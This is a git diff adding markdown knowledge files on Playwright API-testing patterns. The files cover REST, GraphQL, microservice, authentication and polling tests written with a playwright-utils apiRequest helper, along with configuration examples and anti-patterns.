+const USER_SERVICE = process.env.USER_SERVICE_URL || 'http://localhost:3001';
+const ORDER_SERVICE = process.env.ORDER_SERVICE_URL || 'http://localhost:3002';
+
+test.describe('Microservice Integration', () => {
+  test('should validate cross-service user lookup', async ({ apiRequest }) => {
+    // Create user in user-service
+    const { body: user } = await apiRequest({
+      method: 'POST',
+      path: '/api/users',
+      baseUrl: USER_SERVICE,
+      body: { name: 'Test User', email: 'test@example.com' },
+    });
+
+    // Create order in order-service (validates user via user-service)
+    const { status, body: order } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      baseUrl: ORDER_SERVICE,
+      body: {
+        userId: user.id,
+        items: [{ productId: 'prod-1', quantity: 2 }],
+      },
+    });
+
+    expect(status).toBe(201);
+    expect(order.userId).toBe(user.id);
+  });
+
+  test('should reject order for invalid user', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      baseUrl: ORDER_SERVICE,
+      body: {
+        userId: 'non-existent-user',
+        items: [{ productId: 'prod-1', quantity: 1 }],
+      },
+    });
+
+    expect(status).toBe(400);
+    expect(body.code).toBe('INVALID_USER');
+  });
+});
+```
+
+**Key Points**:
+
+- Test multiple services without browser
+- Use `baseUrl` to target different services
+- Validate cross-service communication
+- Pure API testing - fast and reliable
+
+### Example 7: GraphQL API Testing
+
+**Context**: Test GraphQL endpoints with queries and mutations.
+
+**Implementation**:
+
+```typescript
+test.describe('GraphQL API', () => {
+  const GRAPHQL_ENDPOINT = '/graphql';
+
+  test('should query users via GraphQL', async ({ apiRequest }) => {
+    const query = `
+      query GetUsers($limit: Int) {
+        users(limit: $limit) {
+          id
+          name
+          email
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query,
+        variables: { limit: 10 },
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.errors).toBeUndefined();
+    expect(body.data.users).toHaveLength(10);
+  });
+
+  test('should create user via mutation', async ({ apiRequest }) => {
+    const mutation = `
+      mutation CreateUser($input: CreateUserInput!) {
+        createUser(input: $input) {
+          id
+          name
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query: mutation,
+        variables: {
+          input: { name: 'GraphQL User', email: 'gql@example.com' },
+        },
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.data.createUser.id).toBeDefined();
+  });
+});
+```
+
+**Key Points**:
+
+- GraphQL via POST request
+- Variables in request body
+- Check `body.errors` for GraphQL errors (not status code)
+- Works for queries and mutations
+
+### Example 8: Operation-Based Overload (OpenAPI / Code Generators)
+
+**Context**: When using a code generator (orval, openapi-generator, custom scripts) that produces typed operation definitions from an OpenAPI spec, pass the operation object directly to `apiRequest`. This eliminates manual `method`/`path` extraction and `typeof` assertions while preserving full type inference for request body, response, and query parameters. Available since v3.14.0.
+
+**Implementation**:
+
+```typescript
+// Generated operation definition — structural typing, no import from playwright-utils needed
+// type OperationShape = { path: string; method: 'POST'|'GET'|'PUT'|'DELETE'|'PATCH'|'HEAD'; response: unknown; request: unknown; query?: unknown }
+
+import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+// --- Basic usage: operation replaces method + path ---
+test('should upsert person via operation overload', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    operation: upsertPersonv2({ customerId }),
+    headers: getHeaders(customerId),
+    body: personInput, // compile-time typed as Schemas.PersonInput
+  });
+
+  expect(status).toBe(200);
+  expect(body.id).toBeDefined(); // body typed as Schemas.Person
+});
+
+// --- Typed query parameters (replaces string concatenation) ---
+test('should list people with typed query', async ({ apiRequest }) => {
+  const { body } = await apiRequest({
+    operation: getPeoplev2({ customerId }),
+    headers: getHeaders(customerId),
+    query: { page: 0, page_size: 5 }, // typed from operation's query definition
+  });
+
+  expect(body.items).toHaveLength(5);
+});
+
+// --- Params escape hatch (pre-formatted query strings) ---
+test('should fetch billing history with raw params', async ({ apiRequest }) => {
+  const { body } = await apiRequest({
+    operation: getBillingHistoryv2({ customerId }),
+    headers: getHeaders(customerId),
+    params: {
+      'filters[start_date]': getThisMonthTimestamp(),
+      'filters[date_type]': 'MONTH',
+    },
+  });
+
+  expect(body.entries.length).toBeGreaterThan(0);
+});
+
+// --- Works with recurse (polling) ---
+test('should poll until person is reviewed', async ({ apiRequest, recurse }) => {
+  await recurse(
+    async () =>
+      apiRequest({
+        operation: getPersonv2({ customerId, hash }),
+        headers: getHeaders(customerId),
+      }),
+    (res) => {
+      expect(res.status).toBe(200);
+      expect(res.body.status).toBe('REVIEWED');
+    },
+    { timeout: 30000, interval: 1000 },
+  );
+});
+
+// --- Schema validation chains work identically ---
+test('should create movie with schema validation', async ({ apiRequest }) => {
+  const { body } = await apiRequest({
+    operation: createMovieOp,
+    headers: commonHeaders(authToken),
+    body: movie,
+  }).validateSchema(CreateMovieResponseSchema, {
+    shape: { status: 200, data: { name: movie.name } },
+  });
+
+  expect(body.data.id).toBeDefined();
+});
+```
+
+**Key Points**:
+
+- Pass `operation` instead of `method` + `path` — mutually exclusive at compile time
+- Response body, request body, and query types inferred from operation definition
+- Uses structural typing (duck typing) — works with any code generator producing `{ path, method, response, request, query? }`
+- `query` field auto-serializes to bracket notation (`filters[type]=pep`, `ids[0]=10`)
+- `params` escape hatch for pre-formatted strings — wins over `query` on conflict
+- Fully composable with `recurse`, `validateSchema`, and all existing features
+- `response`/`request`/`query` on the operation are type-level only — runtime never reads their values
+
+## Comparison with Vanilla Playwright
+
+| Vanilla Playwright                             | playwright-utils apiRequest                                                        |
+| ---------------------------------------------- | ---------------------------------------------------------------------------------- |
+| `const resp = await request.get('/api/users')` | `const { status, body } = await apiRequest({ method: 'GET', path: '/api/users' })` |
+| `const body = await resp.json()`               | Response already parsed                                                            |
+| `expect(resp.ok()).toBeTruthy()`               | Status code directly accessible                                                    |
+| No retry logic                                 | Auto-retry 5xx errors with backoff                                                 |
+| No schema validation                           | Built-in multi-format validation                                                   |
+| Manual error handling                          | Descriptive error messages                                                         |
+
+## When to Use
+
+**Use apiRequest for:**
+
+- ✅ Pure API/service testing (no browser needed)
+- ✅ Microservice integration testing
+- ✅ GraphQL API testing
+- ✅ Schema validation needs
+- ✅ Tests requiring retry logic
+- ✅ Background API calls in UI tests
+- ✅ Contract testing support
+- ✅ Type-safe API testing with OpenAPI-generated operations (v3.14.0+)
+
+**Stick with vanilla Playwright for:**
+
+- Simple one-off requests where utility overhead isn't worth it
+- Testing Playwright's native features specifically
+- Legacy tests where migration isn't justified
+
+## Related Fragments
+
+- `api-testing-patterns.md` - Comprehensive pure API testing patterns
+- `overview.md` - Installation and design principles
+- `auth-session.md` - Authentication token management
+- `recurse.md` - Polling for async operations
+- `fixtures-composition.md` - Combining utilities with mergeTests
+- `log.md` - Logging API requests
+- `contract-testing.md` - Pact contract testing
+
+## Anti-Patterns
+
+**❌ Ignoring retry failures:**
+
+```typescript
+try {
+  await apiRequest({ method: 'GET', path: '/api/unstable' });
+} catch {
+  // Silent failure - loses retry information
+}
+```
+
+**✅ Let retries happen, handle final failure:**
+
+```typescript
+await expect(apiRequest({ method: 'GET', path: '/api/unstable' })).rejects.toThrow(); // Retries happen automatically, then final error caught
+```
+
+**❌ Disabling TypeScript benefits:**
+
+```typescript
+const response: any = await apiRequest({ method: 'GET', path: '/users' });
+```
+
+**✅ Use generic types:**
+
+```typescript
+const { body } = await apiRequest<User[]>({ method: 'GET', path: '/users' });
+// body is typed as User[]
+```
+
+**❌ Mixing operation overload with explicit generics:**
+
+```typescript
+// Don't pass a generic when using operation — types are inferred from the operation
+const { body } = await apiRequest<MyType>({
+  operation: getPersonv2({ customerId }),
+  headers: getHeaders(customerId),
+});
+```
+
+**✅ Let the operation infer the types:**
+
+```typescript
+const { body } = await apiRequest({
+  operation: getPersonv2({ customerId }),
+  headers: getHeaders(customerId),
+});
+// body type inferred from operation.response
+```
+
+**❌ Mixing operation with method/path:**
+
+```typescript
+// Compile error — operation and method/path are mutually exclusive
+await apiRequest({
+  operation: getPersonv2({ customerId }),
+  method: 'GET', // Error: method?: never
+  path: '/api/person', // Error: path?: never
+});
+```
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/api-testing-patterns.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/api-testing-patterns.md
new file mode 100644
index 0000000..564f0b2
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/api-testing-patterns.md
@@ -0,0 +1,915 @@
+# API Testing Patterns
+
+## Principle
+
+Test APIs and backend services directly without browser overhead. Use Playwright's `request` context for HTTP operations, `apiRequest` utility for enhanced features, and `recurse` for async operations. Pure API tests run faster, are more stable, and provide better coverage for service-layer logic.
+
+## Rationale
+
+Many teams over-rely on E2E/browser tests when API tests would be more appropriate:
+
+- **Slower feedback**: Browser tests take seconds, API tests take milliseconds
+- **More brittle**: UI changes break tests even when API works correctly
+- **Wrong abstraction**: Testing business logic through UI layers adds noise
+- **Resource heavy**: Browsers consume memory and CPU
+
+API-first testing provides:
+
+- **Fast execution**: No browser startup, no rendering, no JavaScript execution
+- **Direct validation**: Test exactly what the service returns
+- **Better isolation**: Test service logic independent of UI
+- **Easier debugging**: Clear request/response without DOM noise
+- **Contract validation**: Verify API contracts explicitly
+
+## When to Use API Tests vs E2E Tests
+
+| Scenario                  | API Test      | E2E Test      |
+| ------------------------- | ------------- | ------------- |
+| CRUD operations           | ✅ Primary    | ❌ Overkill   |
+| Business logic validation | ✅ Primary    | ❌ Overkill   |
+| Error handling (4xx, 5xx) | ✅ Primary    | ⚠️ Supplement |
+| Authentication flows      | ✅ Primary    | ⚠️ Supplement |
+| Data transformation       | ✅ Primary    | ❌ Overkill   |
+| User journeys             | ❌ Can't test | ✅ Primary    |
+| Visual regression         | ❌ Can't test | ✅ Primary    |
+| Cross-browser issues      | ❌ Can't test | ✅ Primary    |
+
+**Rule of thumb**: If you're testing what the server returns (not how it looks), use API tests.
+
+## Pattern Examples
+
+### Example 1: Pure API Test (No Browser)
+
+**Context**: Test REST API endpoints directly without any browser context.
+
+**Implementation**:
+
+```typescript
+// tests/api/users.spec.ts
+import { test, expect } from '@playwright/test';
+
+// No page, no browser - just API
+test.describe('Users API', () => {
+  test('should create user', async ({ request }) => {
+    const response = await request.post('/api/users', {
+      data: {
+        name: 'John Doe',
+        email: 'john@example.com',
+        role: 'user',
+      },
+    });
+
+    expect(response.status()).toBe(201);
+
+    const user = await response.json();
+    expect(user.id).toBeDefined();
+    expect(user.name).toBe('John Doe');
+    expect(user.email).toBe('john@example.com');
+  });
+
+  test('should get user by ID', async ({ request }) => {
+    // Create user first
+    const createResponse = await request.post('/api/users', {
+      data: { name: 'Jane Doe', email: 'jane@example.com' },
+    });
+    const { id } = await createResponse.json();
+
+    // Get user
+    const getResponse = await request.get(`/api/users/${id}`);
+    expect(getResponse.status()).toBe(200);
+
+    const user = await getResponse.json();
+    expect(user.id).toBe(id);
+    expect(user.name).toBe('Jane Doe');
+  });
+
+  test('should return 404 for non-existent user', async ({ request }) => {
+    const response = await request.get('/api/users/non-existent-id');
+    expect(response.status()).toBe(404);
+
+    const error = await response.json();
+    expect(error.code).toBe('USER_NOT_FOUND');
+  });
+
+  test('should validate required fields', async ({ request }) => {
+    const response = await request.post('/api/users', {
+      data: { name: 'Missing Email' }, // email is required
+    });
+
+    expect(response.status()).toBe(400);
+
+    const error = await response.json();
+    expect(error.code).toBe('VALIDATION_ERROR');
+    expect(error.details).toContainEqual(expect.objectContaining({ field: 'email', message: expect.any(String) }));
+  });
+});
+```
+
+**Key Points**:
+
+- No `page` fixture needed - only `request`
+- Tests run without browser overhead
+- Direct HTTP assertions
+- Clear error handling tests
+
+### Example 2: API Test with apiRequest Utility
+
+**Context**: Use enhanced apiRequest for schema validation, retry, and type safety.
+
+**Implementation**:
+
+```typescript
+// tests/api/orders.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { z } from 'zod';
+
+// Define schema for type safety and validation
+const OrderSchema = z.object({
+  id: z.string().uuid(),
+  userId: z.string(),
+  items: z.array(
+    z.object({
+      productId: z.string(),
+      quantity: z.number().positive(),
+      price: z.number().positive(),
+    }),
+  ),
+  total: z.number().positive(),
+  status: z.enum(['pending', 'processing', 'shipped', 'delivered']),
+  createdAt: z.string().datetime(),
+});
+
+type Order = z.infer<typeof OrderSchema>;
+
+test.describe('Orders API', () => {
+  test('should create order with schema validation', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest<Order>({
+      method: 'POST',
+      path: '/api/orders',
+      body: {
+        userId: 'user-123',
+        items: [
+          { productId: 'prod-1', quantity: 2, price: 29.99 },
+          { productId: 'prod-2', quantity: 1, price: 49.99 },
+        ],
+      },
+      validateSchema: OrderSchema, // Validates response matches schema
+    });
+
+    expect(status).toBe(201);
+    expect(body.id).toBeDefined();
+    expect(body.status).toBe('pending');
+    expect(body.total).toBe(109.97); // 2*29.99 + 49.99
+  });
+
+  test('should handle server errors with retry', async ({ apiRequest }) => {
+    // apiRequest retries 5xx errors by default
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/api/orders/order-123',
+      retryConfig: {
+        maxRetries: 3,
+        retryDelay: 1000,
+      },
+    });
+
+    expect(status).toBe(200);
+  });
+
+  test('should list orders with pagination', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest<{ orders: Order[]; total: number; page: number }>({
+      method: 'GET',
+      path: '/api/orders',
+      params: { page: 1, limit: 10, status: 'pending' },
+    });
+
+    expect(status).toBe(200);
+    expect(body.orders).toHaveLength(10);
+    expect(body.total).toBeGreaterThan(10);
+    expect(body.page).toBe(1);
+  });
+});
+```
+
+**Key Points**:
+
+- Zod schema for runtime validation AND TypeScript types
+- `validateSchema` throws if response doesn't match
+- Built-in retry for transient failures
+- Type-safe `body` access
+- **Note**: If your project uses code-generated operations from an OpenAPI spec, see [Example 8](#example-8-operation-based-api-testing-openapi--code-generators) for the preferred `operation`-based overload (v3.14.0+)
+
+### Example 3: Microservice-to-Microservice Testing
+
+**Context**: Test service interactions without browser - validate API contracts between services.
+
+**Implementation**:
+
+```typescript
+// tests/api/service-integration.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/fixtures';
+
+test.describe('Service Integration', () => {
+  const USER_SERVICE_URL = process.env.USER_SERVICE_URL || 'http://localhost:3001';
+  const ORDER_SERVICE_URL = process.env.ORDER_SERVICE_URL || 'http://localhost:3002';
+  const INVENTORY_SERVICE_URL = process.env.INVENTORY_SERVICE_URL || 'http://localhost:3003';
+
+  test('order service should validate user exists', async ({ apiRequest }) => {
+    // Create user in user-service
+    const { body: user } = await apiRequest({
+      method: 'POST',
+      path: '/api/users',
+      baseUrl: USER_SERVICE_URL,
+      body: { name: 'Test User', email: 'test@example.com' },
+    });
+
+    // Create order in order-service (should validate user via user-service)
+    const { status, body: order } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      baseUrl: ORDER_SERVICE_URL,
+      body: {
+        userId: user.id,
+        items: [{ productId: 'prod-1', quantity: 1 }],
+      },
+    });
+
+    expect(status).toBe(201);
+    expect(order.userId).toBe(user.id);
+  });
+
+  test('order service should reject invalid user', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      baseUrl: ORDER_SERVICE_URL,
+      body: {
+        userId: 'non-existent-user',
+        items: [{ productId: 'prod-1', quantity: 1 }],
+      },
+    });
+
+    expect(status).toBe(400);
+    expect(body.code).toBe('INVALID_USER');
+  });
+
+  test('order should decrease inventory', async ({ apiRequest, recurse }) => {
+    // Get initial inventory
+    const { body: initialInventory } = await apiRequest({
+      method: 'GET',
+      path: '/api/inventory/prod-1',
+      baseUrl: INVENTORY_SERVICE_URL,
+    });
+
+    // Create order
+    await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      baseUrl: ORDER_SERVICE_URL,
+      body: {
+        userId: 'user-123',
+        items: [{ productId: 'prod-1', quantity: 2 }],
+      },
+    });
+
+    // Poll for inventory update (eventual consistency)
+    const { body: updatedInventory } = await recurse(
+      () =>
+        apiRequest({
+          method: 'GET',
+          path: '/api/inventory/prod-1',
+          baseUrl: INVENTORY_SERVICE_URL,
+        }),
+      (response) => response.body.quantity === initialInventory.quantity - 2,
+      { timeout: 10000, interval: 500 },
+    );
+
+    expect(updatedInventory.quantity).toBe(initialInventory.quantity - 2);
+  });
+});
+```
+
+**Key Points**:
+
+- Multiple service URLs for microservice testing
+- Tests service-to-service communication
+- Uses `recurse` for eventual consistency
+- No browser needed for full integration testing
+
+### Example 4: GraphQL API Testing
+
+**Context**: Test GraphQL endpoints with queries and mutations.
+
+**Implementation**:
+
+```typescript
+// tests/api/graphql.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+const GRAPHQL_ENDPOINT = '/graphql';
+
+test.describe('GraphQL API', () => {
+  test('should query users', async ({ apiRequest }) => {
+    const query = `
+      query GetUsers($limit: Int) {
+        users(limit: $limit) {
+          id
+          name
+          email
+          role
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query,
+        variables: { limit: 10 },
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.errors).toBeUndefined();
+    expect(body.data.users).toHaveLength(10);
+    expect(body.data.users[0]).toHaveProperty('id');
+    expect(body.data.users[0]).toHaveProperty('name');
+  });
+
+  test('should create user via mutation', async ({ apiRequest }) => {
+    const mutation = `
+      mutation CreateUser($input: CreateUserInput!) {
+        createUser(input: $input) {
+          id
+          name
+          email
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query: mutation,
+        variables: {
+          input: {
+            name: 'GraphQL User',
+            email: 'graphql@example.com',
+          },
+        },
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.errors).toBeUndefined();
+    expect(body.data.createUser.id).toBeDefined();
+    expect(body.data.createUser.name).toBe('GraphQL User');
+  });
+
+  test('should handle GraphQL errors', async ({ apiRequest }) => {
+    const query = `
+      query GetUser($id: ID!) {
+        user(id: $id) {
+          id
+          name
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query,
+        variables: { id: 'non-existent' },
+      },
+    });
+
+    expect(status).toBe(200); // GraphQL returns 200 even for errors
+    expect(body.errors).toBeDefined();
+    expect(body.errors[0].message).toContain('not found');
+    expect(body.data.user).toBeNull();
+  });
+
+  test('should handle validation errors', async ({ apiRequest }) => {
+    const mutation = `
+      mutation CreateUser($input: CreateUserInput!) {
+        createUser(input: $input) {
+          id
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query: mutation,
+        variables: {
+          input: {
+            name: '', // Invalid: empty name
+            email: 'invalid-email', // Invalid: bad format
+          },
+        },
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.errors).toBeDefined();
+    expect(body.errors[0].extensions.code).toBe('BAD_USER_INPUT');
+  });
+});
+```
+
+**Key Points**:
+
+- GraphQL queries and mutations via POST
+- Variables passed in request body
+- GraphQL returns 200 even for errors (check `body.errors`)
+- Test validation and business logic errors
+
+### Example 5: Database Seeding and Cleanup via API
+
+**Context**: Use API calls to set up and tear down test data without direct database access.
+
+**Implementation**:
+
+```typescript
+// tests/api/with-data-setup.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/fixtures';
+
+test.describe('Orders with Data Setup', () => {
+  let testUser: { id: string; email: string };
+  let testProducts: Array<{ id: string; name: string; price: number }>;
+
+  test.beforeAll(async ({ request }) => {
+    // Seed user via API
+    const userResponse = await request.post('/api/users', {
+      data: {
+        name: 'Test User',
+        email: `test-${Date.now()}@example.com`,
+      },
+    });
+    testUser = await userResponse.json();
+
+    // Seed products via API
+    testProducts = [];
+    for (const product of [
+      { name: 'Widget A', price: 29.99 },
+      { name: 'Widget B', price: 49.99 },
+      { name: 'Widget C', price: 99.99 },
+    ]) {
+      const productResponse = await request.post('/api/products', {
+        data: product,
+      });
+      testProducts.push(await productResponse.json());
+    }
+  });
+
+  test.afterAll(async ({ request }) => {
+    // Cleanup via API
+    if (testUser?.id) {
+      await request.delete(`/api/users/${testUser.id}`);
+    }
+    for (const product of testProducts) {
+      await request.delete(`/api/products/${product.id}`);
+    }
+  });
+
+  test('should create order with seeded data', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      body: {
+        userId: testUser.id,
+        items: [
+          { productId: testProducts[0].id, quantity: 2 },
+          { productId: testProducts[1].id, quantity: 1 },
+        ],
+      },
+    });
+
+    expect(status).toBe(201);
+    expect(body.userId).toBe(testUser.id);
+    expect(body.items).toHaveLength(2);
+    expect(body.total).toBe(2 * 29.99 + 49.99);
+  });
+
+  test('should list user orders', async ({ apiRequest }) => {
+    // Create an order first
+    await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      body: {
+        userId: testUser.id,
+        items: [{ productId: testProducts[2].id, quantity: 1 }],
+      },
+    });
+
+    // List orders for user
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/api/orders',
+      params: { userId: testUser.id },
+    });
+
+    expect(status).toBe(200);
+    expect(body.orders.length).toBeGreaterThanOrEqual(1);
+    expect(body.orders.every((o: any) => o.userId === testUser.id)).toBe(true);
+  });
+});
+```
+
+**Key Points**:
+
+- `beforeAll`/`afterAll` for test data setup/cleanup
+- API-based seeding (no direct DB access needed)
+- Unique emails to prevent conflicts in parallel runs
+- Cleanup after all tests complete
+
+### Example 6: Background Job Testing with Recurse
+
+**Context**: Test async operations like background jobs, webhooks, and eventual consistency.
+
+**Implementation**:
+
+```typescript
+// tests/api/background-jobs.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/fixtures';
+
+test.describe('Background Jobs', () => {
+  test('should process export job', async ({ apiRequest, recurse }) => {
+    // Trigger export job
+    const { body: job } = await apiRequest({
+      method: 'POST',
+      path: '/api/exports',
+      body: {
+        type: 'users',
+        format: 'csv',
+        filters: { createdAfter: '2024-01-01' },
+      },
+    });
+
+    expect(job.id).toBeDefined();
+    expect(job.status).toBe('pending');
+
+    // Poll until job completes
+    const { body: completedJob } = await recurse(
+      () => apiRequest({ method: 'GET', path: `/api/exports/${job.id}` }),
+      (response) => response.body.status === 'completed',
+      {
+        timeout: 60000,
+        interval: 2000,
+        log: `Waiting for export job ${job.id} to complete`,
+      },
+    );
+
+    expect(completedJob.status).toBe('completed');
+    expect(completedJob.downloadUrl).toBeDefined();
+    expect(completedJob.recordCount).toBeGreaterThan(0);
+  });
+
+  test('should handle job failure gracefully', async ({ apiRequest, recurse }) => {
+    // Trigger job that will fail
+    const { body: job } = await apiRequest({
+      method: 'POST',
+      path: '/api/exports',
+      body: {
+        type: 'invalid-type', // This will cause failure
+        format: 'csv',
+      },
+    });
+
+    // Poll until job fails
+    const { body: failedJob } = await recurse(
+      () => apiRequest({ method: 'GET', path: `/api/exports/${job.id}` }),
+      (response) => ['completed', 'failed'].includes(response.body.status),
+      { timeout: 30000 },
+    );
+
+    expect(failedJob.status).toBe('failed');
+    expect(failedJob.error).toBeDefined();
+    expect(failedJob.error.code).toBe('INVALID_EXPORT_TYPE');
+  });
+
+  test('should process webhook delivery', async ({ apiRequest, recurse }) => {
+    // Trigger action that sends webhook
+    const { body: order } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      body: {
+        userId: 'user-123',
+        items: [{ productId: 'prod-1', quantity: 1 }],
+        webhookUrl: 'https://webhook.site/test-endpoint',
+      },
+    });
+
+    // Poll for webhook delivery status
+    const { body: webhookStatus } = await recurse(
+      () => apiRequest({ method: 'GET', path: `/api/webhooks/order/${order.id}` }),
+      (response) => response.body.delivered === true,
+      { timeout: 30000, interval: 1000 },
+    );
+
+    expect(webhookStatus.delivered).toBe(true);
+    expect(webhookStatus.deliveredAt).toBeDefined();
+    expect(webhookStatus.responseStatus).toBe(200);
+  });
+});
+```
+
+**Key Points**:
+
+- `recurse` for polling async operations
+- Test both success and failure scenarios
+- Configurable timeout and interval
+- Log messages for debugging
+
+### Example 7: Service Authentication (No Browser)
+
+**Context**: Test authenticated API endpoints using tokens directly - no browser login needed.
+
+**Implementation**:
+
+```typescript
+// tests/api/authenticated.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/fixtures';
+
+test.describe('Authenticated API Tests', () => {
+  let authToken: string;
+
+  test.beforeAll(async ({ request }) => {
+    // Get token via API (no browser!)
+    const response = await request.post('/api/auth/login', {
+      data: {
+        email: process.env.TEST_USER_EMAIL,
+        password: process.env.TEST_USER_PASSWORD,
+      },
+    });
+
+    const { token } = await response.json();
+    authToken = token;
+  });
+
+  test('should access protected endpoint with token', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/api/me',
+      headers: {
+        Authorization: `Bearer ${authToken}`,
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.email).toBe(process.env.TEST_USER_EMAIL);
+  });
+
+  test('should reject request without token', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/api/me',
+      // No Authorization header
+    });
+
+    expect(status).toBe(401);
+    expect(body.code).toBe('UNAUTHORIZED');
+  });
+
+  test('should reject expired token', async ({ apiRequest }) => {
+    const expiredToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...'; // Expired token
+
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/api/me',
+      headers: {
+        Authorization: `Bearer ${expiredToken}`,
+      },
+    });
+
+    expect(status).toBe(401);
+    expect(body.code).toBe('TOKEN_EXPIRED');
+  });
+
+  test('should handle role-based access', async ({ apiRequest }) => {
+    // User token (non-admin)
+    const { status } = await apiRequest({
+      method: 'GET',
+      path: '/api/admin/users',
+      headers: {
+        Authorization: `Bearer ${authToken}`,
+      },
+    });
+
+    expect(status).toBe(403); // Forbidden for non-admin
+  });
+});
+```
+
+**Key Points**:
+
+- Token obtained via API login (no browser)
+- Token reused across all tests in describe block
+- Test auth, expired tokens, and RBAC
+- Pure API testing without UI
+
+### Example 8: Operation-Based API Testing (OpenAPI / Code Generators)
+
+**Context**: When your project uses code-generated operation definitions from an OpenAPI spec, leverage the operation-based overload of `apiRequest` (v3.14.0+) instead of manual `method`/`path` extraction. This eliminates `typeof` assertions and provides full type inference for request body, response, and query parameters.
+
+**Implementation**:
+
+```typescript
+// tests/api/operations.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+test.describe('API Tests with Generated Operations', () => {
+  test('should create entity with full type safety', async ({ apiRequest }) => {
+    // Operation object from code generator — contains path, method, and type info
+    const { status, body } = await apiRequest({
+      operation: createEntityOp({ workspaceId }),
+      headers: getHeaders(workspaceId),
+      body: entityInput, // Compile-time typed from operation.request
+    });
+
+    expect(status).toBe(201);
+    expect(body.id).toBeDefined(); // body typed from operation.response
+  });
+
+  test('should list with typed query parameters', async ({ apiRequest }) => {
+    // query field replaces manual string concatenation
+    const { body } = await apiRequest({
+      operation: listEntitiesOp({ workspaceId }),
+      headers: getHeaders(workspaceId),
+      query: { page: 0, page_size: 10, status: 'active' },
+    });
+
+    expect(body.items).toHaveLength(10);
+    expect(body.total).toBeGreaterThan(10);
+  });
+
+  test('should poll async operation until complete', async ({ apiRequest, recurse }) => {
+    const { body: job } = await apiRequest({
+      operation: startJobOp({ workspaceId }),
+      headers: getHeaders(workspaceId),
+      body: { type: 'export' },
+    });
+
+    await recurse(
+      async () =>
+        apiRequest({
+          operation: getJobOp({ workspaceId, jobId: job.id }),
+          headers: getHeaders(workspaceId),
+        }),
+      (res) => res.body.status === 'completed',
+      { timeout: 60000, interval: 2000 },
+    );
+  });
+});
+```
+
+**Key Points**:
+
+- `operation` replaces `method` + `path` — mutually exclusive at compile time
+- Types for body, response, and query all inferred from the operation definition
+- Works with any code generator using structural typing (no imports from playwright-utils needed in generator)
+- Composable with `recurse`, `validateSchema`, and all existing `apiRequest` features
+- Preferred approach over `typeof operation.response` for generated operations
+
+## API Test Configuration
+
+### Playwright Config for API-Only Tests
+
+```typescript
+// playwright.config.ts
+import { defineConfig } from '@playwright/test';
+
+export default defineConfig({
+  testDir: './tests/api',
+
+  // No browser needed for API tests
+  use: {
+    baseURL: process.env.API_URL || 'http://localhost:3000',
+    extraHTTPHeaders: {
+      Accept: 'application/json',
+      'Content-Type': 'application/json',
+    },
+  },
+
+  // Faster without browser overhead
+  timeout: 30000,
+
+  // Run API tests in parallel
+  workers: 4,
+  fullyParallel: true,
+
+  // No screenshots/traces needed for API tests
+  reporter: [['html'], ['json', { outputFile: 'api-test-results.json' }]],
+});
+```
+
+### Separate API Test Project
+
+```typescript
+// playwright.config.ts
+export default defineConfig({
+  projects: [
+    {
+      name: 'api',
+      testDir: './tests/api',
+      use: {
+        baseURL: process.env.API_URL,
+      },
+    },
+    {
+      name: 'e2e',
+      testDir: './tests/e2e',
+      use: {
+        baseURL: process.env.APP_URL,
+        ...devices['Desktop Chrome'],
+      },
+    },
+  ],
+});
+```
+
+## Comparison: API Tests vs E2E Tests
+
+| Aspect              | API Test               | E2E Test                    |
+| ------------------- | ---------------------- | --------------------------- |
+| **Speed**           | ~50-100ms per test     | ~2-10s per test             |
+| **Stability**       | Very stable            | More flaky (UI timing)      |
+| **Setup**           | Minimal                | Browser, context, page      |
